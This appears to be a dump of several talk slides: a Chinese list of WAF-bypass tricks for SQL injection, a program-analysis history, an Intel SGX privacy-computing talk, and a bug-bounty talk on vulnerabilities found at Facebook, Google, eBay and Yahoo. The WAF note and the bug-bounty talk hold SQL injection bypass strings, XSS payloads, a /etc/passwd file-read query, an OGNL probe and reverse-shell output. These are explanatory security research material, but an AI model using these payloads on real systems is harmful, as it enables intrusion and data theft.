text
stringlengths 100
9.93M
| category
stringclasses 11
values |
---|---|
这今天绕了很多 waf,很多人想看,其实很简单。
只测试了 SQL 注入和文件上传,其他的变化都太小了,比如 SSRF,一般拦的都很死,比如
XXE,UTF-7/UTF-16 试一下就行了。
文件上传的绕过方式,安全客有篇文章已经介绍的非常非常详细了。
https://www.anquanke.com/post/id/241265
SQL 注入的绕过方式呢,你们可以看我写的几个弱点。
先看 WAF 是否完全拦截了/**/,/*!*/,--,%23 这四种注释,一般只会拦截前两个。然后
在注释中塞足够多的脏数据。一部分 WAF 很吃这一招。
然后可以试一试分块传输,一部分 WAF 不拦截这个。
再然后,WAF 主要拦截 SQL 注入中的 union select from 以及 database()等关键词,你就
要想办法让 WAF 不能正确的识别它们。
最典型的是当 WAF 对%0A 识别不准确时,%23/*%0Aunion%23%*/0Aselect 可能就会
过。
再然后 union 前面可以跟 0e0union。
select 后面可以跟 select-1,select@1,select{x%201}。
from 前面可以跟 select%201,\Nfrom。
以及圆括号的灵活运用。
这些和非空白符粘在一起都会干扰 WAF 的判断。
当然,如果 WAF 连 aaaaaaunionaaaaaaaaselectaaa 都拦截,还是放弃吧(点名批评宝塔)。
database()这种拦截可能可以用 database/**/(%0A)绕过,如果实在绕不过,也可以放弃用
同义语句。
最后%00 在 Oracle 中可以当空白符,%01-%08 可以在 mssql 中当空白符,%A0 可以在
linux-mysql 当空白符,这些都是有可能被 waf 忽视的。 | pdf |
25 Years of Program Analysis
Zardus
Program Analysis
Specification
What should hold about
the program?
Technique
How will we achieve the
goal?
Goal
What do we want to
achieve regarding the
specification?
Dawn of Computing
1830s
1842
1842
1947
Manual Program Analysis
1949
Alan Turing.
"Checking a large routine."
EDSAC Inaugural Conference,
1949.
Program Verification
Given a program and a specification, show that the program conforms to the
specification by creating a formal proof.
int main()
{
unsigned int a, b, c;
scanf("%d %d %d", &a, &b, &c);
if (a + b == c && c - b != a)
crash();
}
Specification: The program should not crash.
int main()
{
unsigned int a, b, c;
scanf("%d %d %d", &a, &b, &c);
if (a+b+c != 0 && pow(a, 3) + pow(b, 3) == pow(c, 3))
crash();
}
Specification: The program should not crash.
Program Testing
Given a program and a specification, show that the program does not conform
to the specification by providing a counterexample.
int main()
{
unsigned int a, b, c;
scanf("%d %d %d", &a, &b, &c);
if (a+b+c != 0 && pow(a, 2) + pow(b, 2) == pow(c, 2))
crash();
}
Specification: The program should not crash.
Counterexample:
a == 3
b == 4
c == 5
1950s
Program testing via "Trash Decks"
http://secretsofconsulting.blogspot.com/2017/02/fuzz-testing-and-fuzz-history.html
Specification
What should hold about
the program?
Logical Properties
Absence of Crashes
Type Safety
Efficiency
Memory Safety
Information Disclosure
Authentication
Technique
How will we achieve the
goal?
Manual
Symbolic Execution
Abstract Interpretation
Fuzzing
Goal
What do we want to
achieve regarding the
specification?
Verification
Testing
Transformation
Need for Automated Techniques
1952
Grace Hopper.
"The Education of a Computer."
Proceedings of the 1952 ACM
national meeting, 1952.
Specification
What should hold about
the program?
Logical Properties
Absence of Crashes
Type Safety
Efficiency
Memory Safety
Information Disclosure
Authentication
Technique
How will we achieve the
goal?
Manual
Symbolic Execution
Abstract Interpretation
Fuzzing
Goal
What do we want to
achieve regarding the
specification?
Verification
Testing
Transformation
1968
Robert Graham.
"Protection in an information
processing utility."
Communications of the ACM,
1968.
1984
Ken Thompson.
"Reflections on trusting
trust." Communications of the
ACM, 1984.
Specification
What should hold about
the program?
Logical Properties
Absence of Crashes
Type Safety
Efficiency
Memory Safety
Information Disclosure
Authentication
Technique
How will we achieve the
goal?
Manual
Symbolic Execution
Abstract Interpretation
Fuzzing
Goal
What do we want to
achieve regarding the
specification?
Verification
Testing
Transformation
Automated Techniques
x = input()
Prerequisites
Basic Block
x = input()
if x == 42:
print "Correct"
else:
print "No"
x == 42
x != 42
Basic Block
Constraints
Prerequisites
Basic Block
Constraints
Control Flow Graph
x = input()
if x == 42:
print "Correct"
else:
print "No"
if x == 1337:
print "Fine"
........
........
........
........
........
........
........
........
........
........
........
Prerequisites
Basic Block
Constraints
Control Flow Graph
Path
x = input()
if x == 42:
print "Correct"
else:
print "No"
if x == 1337:
print "Fine"
........
........
........
........
........
........
........
........
........
........
........
x != 42
x == 1337
Basic Block
Constraints
Control Flow Graph
Path
Path Predicates
1975
Robert Boyer, et al.
"SELECT—a formal system for testing and debugging programs by
symbolic execution."
ACM SigPlan Notices, 1975.
The Rise of Symbolic Execution
username = input()
if username == "service":
cmd_code = atoi(input())
if cmd_code == 7:
crash()
else:
print "Unknown command".
else:
passcode = atoi(input())
if passcode < 10000:
print "Invalid passcode!"
else:
auth(username, passcode)
print "Exiting..."
exit()
Symbolic Execution
username = input()
if username == "service":
cmd_code = atoi(input())
if cmd_code == 7:
crash()
else:
print "Unknown command".
else:
passcode = atoi(input())
if passcode < 10000:
print "Invalid passcode!"
else:
auth(username, passcode)
print "Exiting..."
exit()
Symbolic Execution
username = input()
if username == "service":
cmd_code = atoi(input())
if cmd_code == 7:
crash()
else:
print "Unknown command".
else:
passcode = atoi(input())
if passcode < 10000:
print "Invalid passcode!"
else:
auth(username, passcode)
print "Exiting..."
exit()
Symbolic Execution
username = input()
if username == "service":
cmd_code = atoi(input())
if cmd_code == 7:
crash()
else:
print "Unknown command".
else:
passcode = atoi(input())
if passcode < 10000:
print "Invalid passcode!"
else:
auth(username, passcode)
print "Exiting..."
exit()
Symbolic Execution
Constraints
username = ???
username
==
"service"
username
!=
"service"
atoi()
username = input()
if username == "service":
cmd_code = atoi(input())
if cmd_code == 7:
crash()
else:
print "Unknown command".
else:
passcode = atoi(input())
if passcode < 10000:
print "Invalid passcode!"
else:
auth(username, passcode)
print "Exiting..."
exit()
Symbolic Execution
Constraints
cmd_code
!=
"7"
passcode
<=
1000
username = ???
username
==
"service"
username
!=
"service"
Specification
What should hold about
the program?
Logical Properties
Absence of Crashes
Type Safety
Efficiency
Memory Safety
Information Disclosure
Authentication
Technique
How will we achieve the
goal?
Manual
Symbolic Execution
Abstract Interpretation
Fuzzing
Goal
What do we want to
achieve regarding the
specification?
Verification
Testing
Transformation
1977
Patrick & Radhia Cousot.
"Abstract Interpretation: A Unified Lattice Model for Static
Analysis of Programs by Construction or Approximation of
Fixpoints"
ACM Symposium on Principles of Programming Languages, 1977,
Emergence of Static Analysis
username = input()
if username == "service":
cmd_code = atoi(input())
if cmd_code == 7:
crash()
else:
print "Unknown command".
else:
passcode = atoi(input())
if passcode < 10000:
print "Invalid passcode!"
else:
auth(username, passcode)
print "Exiting..."
exit()
Symbolic Execution
Alerts
POSSIBLE CRASH: L5
POSSIBLE CRASH: L13
Specification
What should hold about
the program?
Logical Properties
Absence of Crashes
Type Safety
Efficiency
Memory Safety
Information Disclosure
Authentication
Technique
How will we achieve the
goal?
Manual
Symbolic Execution
Abstract Interpretation
Fuzzing
Goal
What do we want to
achieve regarding the
specification?
Verification
Testing
Transformation
1981
Joe W. Duran, et al.
"A report on random testing".
ACM SIGSOFT International Conference on Software Engineering,
1981.
Fuzzing Appears
username = input()
if username == "service":
cmd_code = atoi(input())
if cmd_code == 7:
crash()
else:
print "Unknown command".
else:
passcode = atoi(input())
if passcode < 10000:
print "Invalid passcode!"
else:
auth(username, passcode)
print "Exiting..."
exit()
Fuzzing
Test Cases
“asDA:111”
“asdf:111”
“asDAAA:1111”
“asDALA:11121”
“axDOO:15129”
“asFOO:75129”
Specification
What should hold about
the program?
Logical Properties
Absence of Crashes
Type Safety
Efficiency
Memory Safety
Information Disclosure
Authentication
Technique
How will we achieve the
goal?
Manual
Symbolic Execution
Abstract Interpretation
Fuzzing
Goal
What do we want to
achieve regarding the
specification?
Verification
Testing
Transformation
The Program Analysis Nursery
The Program Analysis Nursery
-
249 programs
-
Source code available
-
Range of vulnerability classes
-
Documented vulnerabilities
-
Simple OS model
-
Explicit security specifications!
Nursery Experiments
0
249
Symbolic Execution
9
Optimized Symbolic Execution
26
Symbolic Execution + Veritesting*
31
Fuzzing (AFL)
106
Symbolic Execution
Fuzzing
username = input()
if username == "service":
cmd_code = atoi(input())
if cmd_code == 7:
crash()
else:
print "Unknown command".
else:
passcode = atoi(input())
if passcode < 10000:
print "Invalid passcode!"
else:
auth(username, passcode)
print "Exiting..."
exit()
Drilling
Test Cases
“asdf:111”
“asDAAA:1111”
username == "service"
cmd_code != "7"
“service:5”
“servic3:5”
“service:7”
Nursery Experiments
0
249
Symbolic Execution
9
Optimized Symbolic Execution
26
Symbolic Execution + Veritesting*
31
Fuzzing (AFL)
106
Symbolically-assisted Fuzzing (Driller)
118
Driller Results
Applicability varies by program.
Where it was needed, Driller increased block coverage by an average of 71%.
Basic Block Coverage
Time
Nursery Experiments
0
249
Symbolic Execution
9
Optimized Symbolic Execution
26
Symbolic Execution + Veritesting*
31
Fuzzing (AFL)
106
Symbolically-assisted Fuzzing (Driller)
118
?
Join in!
Contribute to open-source frameworks!
http://angr.io
I am actively looking for students, interns, etc!
Yan Shoshitaishvili
Me: @Zardus [email protected]
Team: @Shellphish [email protected]
This presentation: https://goo.gl/57BAoc
Come do research!
Questions? | pdf |
MesaTEE SGX: Redefining AI and
Big Data Analysis with Intel SGX
Yu Ding
Staff Security Scientist, Baidu X-Lab
May-29-2019
About me
• https://dingelish.com
• https://github.com/dingelish
• https://github.com/baidu/rust-sgx-sdk
•
Security Scientist @Baidu X-Lab
•
Rust Fans
•
Ph.D on Exploit/Mitigation
•
Works on Rust-SGX projects
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
Intel SGX for Privacy-Preserving Computation
• Background of Intel SGX
• Challenges on building a privacy-preserving software stack based on Intel SGX
Hybrid Memory Safety
• Rule-of-thumb
• Practice on Intel SGX
Towards a Secure and Trustworthy AI/Big Data Analysis framework
• What is trustworthiness?
• Achieving trustworthy AI/Big Data Analysis using Intel SGX
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
Intel SGX for Privacy-Preserving Computation
• Background of Intel SGX
• Challenges on building a privacy-preserving software stack based on Intel SGX
Hybrid Memory Safety
• Rule-of-thumb
• Practice on Intel SGX
Towards a Secure and Trustworthy AI/Big Data Analysis framework
• What is trustworthiness?
• Achieving trustworthy AI/Big Data Analysis using Intel SGX
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
•
Cloud Provider
•
Data Owner
•
Algorithm Provider (can be data owner)
•
Don’t trust each other
•
Data leaves its owner but still guaranteed to be under control
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
•
Solution Overview
•
Use Intel SGX to establish trust and TEE
•
Secure and Trusted Authentication/Authorization
•
Secure and Trusted Channel
•
Secure and Trusted Execution Environment
•
Build system with hybrid memory safety
•
Trustworthy AI/Big Data Analysis
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
Intel SGX for Privacy-Preserving Computation
• Background of Intel SGX
• Challenges on building a privacy-preserving software stack based on Intel SGX
Hybrid Memory Safety
• Rule-of-thumb
• Practice on Intel SGX
Towards a Secure and Trustworthy AI/Big Data Analysis framework
• What is trustworthiness?
• Achieving trustworthy AI/Big Data Analysis using Intel SGX
Background of Intel SGX
Apps not protected from privileged code attacks
Intel® Software Guard Extensions(Intel® SGX)
Frank McKeen, Intel Labs, April 15, 2015
Background of Intel SGX
Attack surface without/with Intel SGX Enclaves
Intel® Software Guard Extensions(Intel® SGX)
Frank McKeen, Intel Labs, April 15, 2015
Background of Intel SGX
Memory access control during address translation
Intel® Software Guard Extensions(Intel® SGX)
Frank McKeen, Intel Labs, April 15, 2015
Background of Intel SGX
Confidentiality and Integrity guarantees
Intel® Software Guard Extensions(Intel® SGX)
Frank McKeen, Intel Labs, April 15, 2015
Background of Intel SGX
Measurement and Attestation
Verify the measurement/signer
Establish trust by Remote Attestation
Sealing and Attestation in Intel® Software Guard Extensions (SGX)
Rebekah Leslie-Hurd, Intel® Corporation, January 8th, 2016
Background of Intel SGX
Remote Attestation
Figure is from “A First Step Towards Leveraging Commodity
Trusted Execution Environments for Network Applications”,
Seongmin Kim et al.
Target
Enclave
Quoting
Enclave
Challenger
Enclave
SGX CPU
Host platform
Remote platform
SGX CPU
1. Request
2. Calculate
MAC
3. Send MAC
6. Send signature
CMAC
Hash
4. Verify
5. Sign with group key [EPID]
Background of Intel SGX
Short Summary of Intel SGX
•
Provides any application the ability to keep a secret
•
Provide capability using new processor instructions
•
Application can support multiple enclaves
•
Provides integrity and confidentiality
•
Resists hardware attacks
•
Prevent software access, including privileged software and SMM
•
Applications run within OS environment
•
Low learning curve for application developers
•
Open to all developers
Intel® Software Guard Extensions(Intel® SGX)
Frank McKeen, Intel Labs, April 15, 2015
Background of Intel SGX
Challenges on building a privacy-preserving software stack based on Intel SGX
•
Hard Limitations of Intel SGX
•
No syscall
•
No RDTSC
•
No CPUID
•
128 Mbytes of EPC memory. Slow page-fault driven memory swapping
•
No mprotect
Background of Intel SGX
Challenges on building a privacy-preserving software stack based on Intel SGX
•
Hard Limitations of Intel SGX => Challenges
•
No syscall
•
No fs/net/env/proc/thread/…
•
No RDTSC
•
No trusted time. How to verify a TLS certificate?
•
No CPUID
•
Some crypto libraries needs it for better performance
•
128 Mbytes of EPC memory. Slow page-fault driven memory swapping
•
AI? Big data analysis?
•
No mprotect: JIT? AOT?
Background of Intel SGX
Challenges on building a privacy-preserving software stack based on Intel SGX
•
Hard Limitations of Intel SGX => Challenges
•
No syscall
•
No fs/net/env/proc/thread/…
•
No RDTSC
•
No trusted time. How to verify a TLS certificate?
•
No CPUID
•
Some crypto libraries needs it for better performance
•
128 Mbytes of EPC memory. Slow page-fault driven memory swapping
•
AI? Big data analysis?
•
No mprotect: JIT? AOT?
Background of Intel SGX
Challenges on building a privacy-preserving software stack based on Intel SGX
•
Soft Limitations of Intel SGX
•
Suffers from memory bugs
•
Memory Safety?
•
Overflow?
•
UAF?
•
Data Racing?
•
ROP?
COOKIE
BUFFER
BUFFER
BUFFER
SAVED %ebp
RETURN ADDR
Background of Intel SGX
Challenges on building a privacy-preserving software stack based on Intel SGX
•
Soft Limitations of Intel SGX
•
Suffers from memory bugs
•
Memory Safety?
•
Overflow?
•
UAF?
•
Data Racing?
•
ROP?
COOKIE
BUFFER
BUFFER
BUFFER
SAVED %ebp
RETURN ADDR
Background of Intel SGX
Challenges on building a privacy-preserving software stack based on Intel SGX
•
Short Summary
•
Challenges
•
Re-implement a software stack in Intel SGX environment on a limited foundation
•
Require memory safety guarantees
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
Intel SGX for Privacy-Preserving Computation
• Background of Intel SGX
• Challenges on building a privacy-preserving software stack based on Intel SGX
Hybrid Memory Safety
• Rule-of-thumb
• Practice on Intel SGX
Towards a Secure and Trustworthy AI/Big Data Analysis framework
• What is trustworthiness?
• Achieving trustworthy AI/Big Data Analysis using Intel SGX
Hybrid Memory Safety
Programming Languages Guarantee Memory Safety
Hybrid Memory Safety
The Software Stack
•
Kernel
•
Syscall
•
Libc, system libs
•
Runtime libs
•
Applications
Hybrid Memory Safety
The Software Stack
•
Kernel
•
Syscall
•
Libc, system libs
•
Runtime libs
•
Applications
Hybrid Memory Safety
Hybrid Memory Safety – Rule-of-thumb
•
Unsafe components must not taint safe components, especially
for public APIs and data structures.
•
Unsafe components should be as small as possible and
decoupled from safe components.
•
Unsafe components should be explicitly marked during
deployment and ready to upgrade.
Hybrid Memory Safety
Hybrid Memory Safety – MesaPy as an Example
Hybrid Memory Safety
Hybrid Memory Safety – Practice in SGX
Linux
Rust-SGX
Kernel
N/A
Syscall
OCALL (statically controlled)
Libc
Intel – SGX tlibc
Runtime
Rust-SGX sgx_tstd/…
Hybrid Memory Safety
Hybrid Memory Safety – Practice in SGX
Enclave Boundary
sgx_tlibc
sgx_trts
sgx_tcrypto
sgx_tservices
sgx_tstd
sgx_trts
sgx_tcrypto
sgx_tservices
crypto_helper
ring/rustls/webpki
tvm-runtime
Remote attestation
Data storage/trans
Interpreter
Rusty-machine
gbdt-rs
tvm worker
Hybrid Memory Safety
Hybrid Memory Safety – Practice in SGX
liballoc
libstd
libcore
libc
libpanic_abort
libunwind
librustc_demangle
compiler_builtins
glibc
#![no_std]
#![no_core]
Hybrid Memory Safety
Hybrid Memory Safety – Practice in SGX
liballoc
libstd
libcore
libc
libpanic_abort
sgx_unwind librustc_demangle
compiler_builtins
sgx_tstd
sgx_trts
…
#![no_std]
#![no_core]
sgx_libc
sgx_alloc
sgx_tprotected_fs
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
Intel SGX for Privacy-Preserving Computation
• Background of Intel SGX
• Challenges on building a privacy-preserving software stack based on Intel SGX
Hybrid Memory Safety
• Rule-of-thumb
• Practice on Intel SGX
Towards a Secure and Trustworthy AI/Big Data Analysis framework
• What is trustworthiness?
• Achieving trustworthy AI/Big Data Analysis using Intel SGX
Towards a Secure and Trustworthy AI/Big Data Analysis framework
What is trustworthiness?
What is trustworthiness?
Towards a Secure and Trustworthy AI/Big Data Analysis framework
What is trustworthiness?
Towards a Secure and Trustworthy AI/Big Data Analysis framework
The term Trustworthy Computing (TwC) has been
applied to computing systems that are inherently secure,
available, and reliable. It is particularly associated with
the Microsoft initiative of the same name, launched in
2002.
Towards a Secure and Trustworthy AI/Big Data Analysis framework
What is trustworthiness?
Trusted computing
The term is taken from the field of trusted systems and has a
specialized meaning. With Trusted Computing, the computer will
consistently behave in expected ways, and those behaviors will be
enforced by computer hardware and software.
Towards a Secure and Trustworthy AI/Big Data Analysis framework
Achieving trustworthy AI/Big Data Analysis using Intel SGX
Gradient-Boosting decision tree
How to achieve trustworthy?
•
The running instance started with the static binary I wanted to run
•
The static binary is generated from the codes I want to use
•
The code I use implements the algorithm honestly
•
The compiler is not doing evil
•
Data transfer is secure
Towards a Secure and Trustworthy AI/Big Data Analysis framework
Achieving trustworthy AI/Big Data Analysis using Intel SGX
Gradient-Boosting decision tree
gbdt-rs
•
~2000 sloc of Rust – Self explain
•
Well commented/documented
•
7x faster than XGBoost on 1thread
•
Works seamlessly in SGX
•
Clean and clear software stack!
9.9
1.5
11.5
1.9
0
2
4
6
8
10
12
14
500K
samples with
1000 features
100K
samples with
600 features
GB
Memory Usage
rust
c++
195.60
9.94
241.42
11.89
0.00
50.00
100.00
150.00
200.00
250.00
300.00
500K
samples with
1000
features
100K
samples with
600 features
Seconds
Training Time
rust
c++
Towards a Secure and Trustworthy AI/Big Data Analysis framework
Achieving trustworthy AI/Big Data Analysis using Intel SGX
MesaPy SGX
•
Ported PyPy with strong bound check
•
Disabled all syscalls
•
Customized runtime – limited ocall
•
Eliminate indeterminism
•
Formal verification
•
Replace unsafe libraries with Rust crates
Towards a Secure and Trustworthy AI/Big Data Analysis framework
Achieving trustworthy AI/Big Data Analysis using Intel SGX
Towards a Secure and Trustworthy AI/Big Data Analysis framework
Achieving trustworthy AI/Big Data Analysis using Intel SGX
We are working with Baidu XuperData for applications
Towards a Secure and Trustworthy AI/Big Data Analysis framework
Anakin-SGX
0
5
10
15
20
25
30
35
40
SGX
X86-64
NIN_ImageNet (1000 images)
User
Sys
Q&A
MesaTEE SGX: Redefining AI and Big
Data Analysis with Intel SGX
Yu Ding
Security Scientist, Baidu X-Lab | pdf |
Bug Bounty 獎金獵人甘苦談
那些年我回報過的漏洞
[email protected]
#Orange Tsai
#CHROOT #DEVCORE
#電競選手 #CTFer
#Web
#汪
My RCE Checklists
√ Facebook
√ Apple
√ Yahoo
√ Uber
? Google
什麼是 Bug Bounty Program ?
• 在官方所提供的規則及範圍下, 讓獨立的研究人員可自由尋找系
統漏洞, 並提供對等的獎勵
小禮物
獎金
名譽(Hall of Fame)
Bug Bounty 好處?
防止漏洞流入地下市場
架構大難顧及網路邊界
企業對外形象宣傳
改善社會不良風氣
How do you turn
this on ?
Bug Bounty 好處?
防止漏洞流入地下市場
架構大難顧及網路邊界
企業對外形象宣傳
改善社會不良風氣
更多的駭客!
更多的思路!
更多的漏洞!
Bug Bounty 好處?
防止漏洞流入地下市場
架構大難顧及網路邊界
企業對外形象宣傳
改善社會不良風氣
公司對於安全的重視!
吸引優秀的資安高手!
Bug Bounty 好處?
防止漏洞流入地下市場
架構大難顧及網路邊界
企業對外形象宣傳
改善社會不良風氣
告訴駭客們有簡單的
方法可以做好事!
有哪些企業已經有了 Bug Bounty ?
1995
2010
2011
2013
2013
2016
2014
2015
The Internet Bug Bounty
為了維護網路世界的和平
獎勵那些找出可影響整個網路世界弱點的英雄們!
Bug Bounty 成效
$6 Million
•
750+ bugs in 2015
•
300+ hackers in 2015
$4.2 Million
•
526 bugs in 2015
•
210 hackers in 2015
$1.6 Million
•
2500+ bugs since 2013
•
1800+ hackers since 2013
參加 Bug Bounty 前的準備
為了甚麼參加
對於尋找漏洞的心理準備
常見弱點的理解
資訊的蒐集方法
獎金?
名譽?
練功?
參加 Bug Bounty 前的準備
為了甚麼參加
對於尋找漏洞的心理準備
常見弱點的理解
資訊的蒐集方法
雖然今非昔比
告訴自己一定會有洞
參加 Bug Bounty 前的準備
為了甚麼參加
對於尋找漏洞的心理準備
常見弱點的理解
資訊的蒐集方法
常見弱點的理解
SQL Injection
Cross-Site Scripting
Cross-site Request Forgery
XML External Entity
Local File Inclusion
CSV Macro Injection
XSLT Injection
SVG/XML XSS
RPO Gadget (NOT ROP)
Subdomain Takeover
參加 Bug Bounty 前的準備
為了甚麼參加
對於尋找漏洞的心理準備
常見弱點的理解
資訊的蒐集方法
資訊的蒐集方法
• DNS 與 網路邊界
子域名? 相鄰域名? 內部域名?
Whois? R-Whois?
併購服務
Google 的六個月規則
• Port Scanning
Facebook Jenkins RCE by Dewhurst Security
Pornhub Memcached Unauthenticated Access by @ZephrFish
uberinternal.com ?
twttr.com ?
etonreve.com ?
資訊的蒐集方法 - 小案例
• Yahoo! Yapache
修改版本的 Apache Web Server
在當時也是創舉
資訊的蒐集方法 - 小案例
參加 Bug Bounty 注意事項
•
注意規則及允許範圍
•
不符合規定的漏洞
•
撰寫報告的禮節
注意規則及允許範圍
• 規則所允許範圍
範圍外就無法嘗試嗎?
• 規則所允許限度
Instagram's Million Dollar Bug by Wesley (Awesome :P)
參加 Bug Bounty 注意事項
•
注意規則及允許範圍
•
不符合規定的漏洞
•
撰寫報告的禮節
不符合規定的漏洞
• 別踏入榮譽感的誤區
• 常見不符合規定例子:
SELF XSS (需要過多使用者互動)
Information Leakage
Cookie without Secure Flag or HttpOnly
Logout CSRF
Content Injection
2014 Google VRP 回報狀況
參加 Bug Bounty 注意事項
•
注意規則及允許範圍
•
不符合規定的漏洞
•
撰寫報告的禮節
撰寫報告的禮節
• 明確的標題及描述
• 附上驗證代碼及截圖
• 禮貌及尊重最後決定
尋找漏洞的思路
尋找漏洞的思路
• 有做功課的 Bonus
• 天下武功唯快不破
• 認命做苦工活QQ
• 平行權限與邏輯問題
• 少見姿勢與神思路
有做功課的 Bonus
Facebook Onavo Dom-Based XSS
• Mar 16, 2014 Onavo Reflected XSS by Mazin Ahmed
• May 01, 2014 Facebook fixed it
• One day, Facebook revised it... Buggy again!
http://cf.onavo.com/iphone/mc/deactivate.html
?url=javascript:alert(document.domain)
&seed=1394953248
有做功課的 Bonus
Facebook Onavo Dom-Based XSS
function mc() {
if ((UACheck == "0") ||
(navigator.userAgent.match(/iPhone/i)) ||
(navigator.userAgent.match(/iPad/i)) ||
(navigator.userAgent.match(/iPod/i))) {
document.location.href = MC;
setTimeout(postmc, 3000);
} else {
alert('Not an iPhone/iPad...');
...
var seed = getQueryVariable("seed");
var url = getQueryVariable("url");
var UACheck = getQueryVariable("uacheck");
var MC = getQueryVariable("mc");
有做功課的 Bonus
Facebook Onavo Dom-Based XSS
http://cf.onavo.com/iphone/mc/deactivate.html
?url=http://example/
&uacheck=0
&mc=javascript:alert(document.domain)
有做功課的 Bonus
Facebook Onavo Dom-Based XSS
http://cf.onavo.com/iphone/mc/deactivate.html
?url=http://example/
&uacheck=0
&mc=javascript:alert(document.domain)
有做功課的 Bonus
eBay SQL Injection
• 列舉 eBay.com 時某台主機反查到
eBayc3.com
• 根據 WHOIS 確認為 eBay Inc. 所擁有無誤
• 列舉 eBayc3.com
images.ebayc3.com
有做功課的 Bonus
eBay SQL Injection
有做功課的 Bonus
eBay SQL Injection
有做功課的 Bonus
eBay SQL Injection
• 連貓都會的 SQL Injection
嘗試是否可以 RCE?
• 嘗試讀檔?
CREATE TABLE test (src TEXT);
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE `test`;
有做功課的 Bonus
eBay SQL Injection
• 連貓都會的 SQL Injection
嘗試是否可以 RCE?
• 嘗試讀檔?
CREATE TABLE test (src TEXT);
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE `test`;
尋找漏洞的思路
• 有做功課的 Bonus
• 天下武功唯快不破
• 認命做苦工活QQ
• 平行權限與邏輯問題
• 少見姿勢與神思路
天下武功唯快不破
• 指紋辨識, 收集整理
Web Application?
Framework?
• 平時做好筆記 1-Day 出來搶首殺
WordPress CVE-2016-4567 flashmediaelement.swf XSS
ImageTragick Remote Code Execution
天下武功唯快不破
Uber Reflected XSS
天下武功唯快不破
Uber Reflected XSS
iOS Developer - "We'll be back soon"
2013
07/18
天下武功唯快不破
developer.apple.com 被駭案例
iOS Developer - "We'll be back soon"
Apple confirms its developer website was hacked
2013
07/18
2013
07/22
天下武功唯快不破
developer.apple.com 被駭案例
iOS Developer - "We'll be back soon"
Apple confirms its developer website was hacked
Ibrahim Balic: I hacked Apple's developer website and have over 100K
developers' user details
2013
07/18
2013
07/22
2013
07/22
天下武功唯快不破
developer.apple.com 被駭案例
iOS Developer - "We'll be back soon"
Apple confirms its developer website was hacked
Ibrahim Balic: I hacked Apple's developer website and have over 100K
developers' user details
Apple Hall of Fame - "We would like to acknowledge 7dscan.com, and SCANV
of knownsec.com for reporting this issue"
2013
07/18
2013
07/22
2013
07/22
2013
07/??
天下武功唯快不破
developer.apple.com 被駭案例
天下武功唯快不破
developer.apple.com 被駭案例
天下武功唯快不破
developer.apple.com 被駭案例
• 被 Yahoo Bug Bounty 事件燒到, 感覺很好玩
• 依然是 Google hacking
site:yahoo.com ext:action
b.login.yahoo.com
看起來 s2-016 work 但看起來有 WAF
三個月的空窗期 !
第一次 OGNL 就上手 !
天下武功唯快不破
Yahoo Login Site RCE
• 繞過 WAF
如何判斷關鍵字?
redirect:${12*21}
# /login/252
redirect:${#c=1}
# /login/
redirect:${#c=1,1}
# /login/1
redirect:${#c=1,#d=new chra[10]}
# /login/
redirect:${#c=1,#d=new chra[10],1}
# /login/
天下武功唯快不破
Yahoo Login Site RCE
orange@z:~$ nc –vvl 12345
Connection from 209.73.163.226 port 12345 [tcp/italk] accepted
Linux ac4-laptui-006.adx.ac4.yahoo.com 2.6.18-308.8.2.el5.YAHOO.20120614 #1 SMP Thu
Jun 14 13:27:27 PDT 2012 x86_64 x86_64 x86_64 GNU/Linux
orange@z:~$
天下武功唯快不破
Yahoo Login Site RCE
天下武功唯快不破
Yahoo Login Site RCE
orange@z:~$ nc –vvl 12345
Connection from 209.73.163.226 port 12345 [tcp/italk] accepted
Linux ac4-laptui-006.adx.ac4.yahoo.com 2.6.18-308.8.2.el5.YAHOO.20120614 #1 SMP Thu
Jun 14 13:27:27 PDT 2012 x86_64 x86_64 x86_64 GNU/Linux
orange@z:~$
尋找漏洞的思路
• 有做功課的 Bonus
• 天下武功唯快不破
• 認命做苦工活QQ
• 平行權限與邏輯問題
• 少見姿勢與神思路
• 用 Google Hacking 黑 Google
site:www.google.com -adwords -finance...
www.google.com/trends/correlate/js/correlate.js
goog$exportSymbol("showEdit", function(src_url) {
...
var html = (new goog$html$SafeHtml).
initSecurityPrivateDoNotAccessOrElse_('
<iframe width=400 height=420 marginheight=0 marginwidth=0
frameborder=0 src="' + src_url + '">Loading...</iframe>');
...
}
認命做苦工活QQ
www.google.com XSS
• 如何控制?
id:PaHT-seSlg9
200 OK
id:not_exists
500 Error
id:PaHT-seSlg9:foobar
200 OK
www.google.com/trends/correlate/search
?e=id:PaHT-seSlg9
&t=weekly
<a href="#" onclick="
showEdit('/trends/correlate/edit
?e=id:PaHTseSlg9&t=weekly');">
認命做苦工活QQ
www.google.com XSS
• 看起來有過濾? 但別忘了它在 JavaScript 內
HTML Entities?
16 進位?
8 進位?
www.google.com/trends/correlate/search
?e=id:PaHT-seSlg9:'"><
&t=weekly
<a href="#" onclick="
showEdit('/trends/correlate/edit
?e=id:PaHTseSlg9:'"><&t=weekly');">
認命做苦工活QQ
www.google.com XSS
...?
www.google.com/trends/correlate/search
?e=id:8N9IFMOltyp:\x22onload\x3d\x22alert(document.domain)//
&t=weekly
<a href="#" onclick="
showEdit('/trends/correlate/edit
?e=id:PaHTseSlg9:\x22onload\x3d\x22alert(document.domain)//
&t=weekly');">
認命做苦工活QQ
www.google.com XSS
認命做苦工活QQ
www.google.com XSS
• 看起來是個 Dom-Based 的 SELF-XSS 需要使用者互動 ?
收的機率一半一半, 需要找到更合理的情境說服 Google
• 繼續往下挖掘!
跟 Click Jacking 的組合技?
將要點擊的地方製成 IFRMAE 放在滑鼠下隨著滑鼠移動
認命做苦工活QQ
www.google.com XSS
認命做苦工活QQ
www.google.com XSS
• https://youtu.be/ESj7PyQ-nv0
認命做苦工活QQ
www.google.com XSS
• https://youtu.be/ESj7PyQ-nv0
認命做苦工活QQ
Facebook Remote Code Execution
• 反向 facebook.com 的 Whois 結果
thefacebook.com
tfbnw.net
fb.com
• 列舉 vpn.tfbnw.net 網段
vpn.tfbnw.net
files.fb.com
